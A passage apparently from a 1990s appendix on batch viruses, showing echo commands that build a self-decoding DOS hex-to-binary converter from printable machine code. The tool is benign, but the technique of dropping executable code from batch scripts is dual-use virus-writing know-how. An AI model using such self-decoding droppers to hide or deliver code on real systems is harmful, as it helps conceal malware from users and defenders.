past few years, and in some of them writing a virus has become almost trivial.
So don't bother.


ILLUSTRATION:

A hex2bin convertor by Herbert Kleebauer (who is, as far as I know, not a
writer of batch viruses, malicious or otherwise):

echo j@X$!PZRYI4~@@P]hWDX-a!-a!P[1/hrDX-a!-a!P[1/h#DX-a!-a!P[1/>hex2bin.com
echo @hsDX-a!-a!P[@@PP_R]!/3-GWX=zzwWUX,!rlUX$O$/P]1/Q]3/E)/Q]3/>>hex2bin.com
echo @E)/Q]3/E)/Q]3/E)/R]3-GUX,!ruUX$O$/P]1/^R]!,3/1,FVRX,0r/xx>>hex2bin.com
echo kmooook43o31mkk90100kj1402lm21723n09l07447j01402>>hex2bin.com
echo 3l3072n73l3977042l30nk0l0l203l6172m93l6677m52l57>>hex2bin.com
echo o7mm7808l0n004j21502nkl700061502k440kk0100k90100>>hex2bin.com
echo kj1502lm2173k4k440kk0200k91400kj1602lm21k8004llm>>hex2bin.com
echo 2100006665686l657220617566676574726574656n0m0j>>hex2bin.com

The first 3 lines are real machine code; they decode the other 5 lines in
memory and give control to them: then the decoded routine reads a text file
from standard input, which is simple hexadecimal (style: 10ab03fb129c, with
as many cr/lf's as necessary); and it converts it to a binary file, which it
sends to standard output: use redirection.

Appendix 1-5 written May 13, 1995
Appendix 6 written May 25, 1996